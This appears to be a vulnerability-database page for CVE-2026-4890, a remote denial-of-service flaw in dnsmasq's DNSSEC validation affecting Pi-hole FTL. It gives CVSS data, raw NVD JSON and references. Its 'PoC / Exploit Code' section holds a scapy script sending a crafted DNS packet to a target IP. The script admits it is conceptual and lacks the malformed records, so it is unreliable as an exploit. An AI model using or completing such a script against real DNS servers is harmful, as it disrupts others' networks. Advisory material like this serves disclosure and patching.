Security Vulnerability Report
中文
CVE-2026-4890 CVSS 7.5 HIGH

CVE-2026-4890

Published: 2026-05-11 18:16:41
Last Modified: 2026-05-12 14:15:47

Description

A Denial of Service (DoS) vulnerability in the DNSSEC validation of dnsmasq allows remote attackers to cause a denial of service via a crafted DNS packet.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Pi-hole FTL < v6.6.2
Dnsmasq (请参考官方thekelleys.org.uk发布的受影响版本列表)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send # Define the target IP address target_ip = "192.168.1.1" # Craft a malicious DNS packet triggering DNSSEC validation issue # This is a conceptual PoC, actual exploit packet structure depends on specific vulnerability details. packet = IP(dst=target_ip) / UDP(dport=53) / DNS( id=0x1337, qr=0, opcode=0, rd=1, qdcount=1, qd=DNSQR(qname="example.com", qtype="DNSKEY"), # Malicious additional section that might trigger the validation flaw # In a real scenario, specific malformed RRSIG or DNSKEY records would be constructed arcount=1 ) print(f"[*] Sending malicious DNS packet to {target_ip}...") send(packet, verbose=0) print("[+] Packet sent.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4890", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:41.273", "lastModified": "2026-05-12T14:15:46.747", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Denial of Service (DoS) vulnerability in the DNSSEC validation of dnsmasq allows remote attackers to cause a denial of service via a crafted DNS packet."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://github.com/NixOS/nixpkgs/pull/519082", "source": "[email protected]"}, {"url": "https://github.com/NixOS/nixpkgs/pull/519093", "source": "[email protected]"}, {"url": "https://github.com/pi-hole/FTL/releases/tag/v6.6.2", "source": "[email protected]"}, {"url": "https://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2026q2/018471.html", "source": "[email protected]"}, {"url": "https://thekelleys.org.uk/dnsmasq/CVE/", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/471747", "source": "[email protected]"}]}}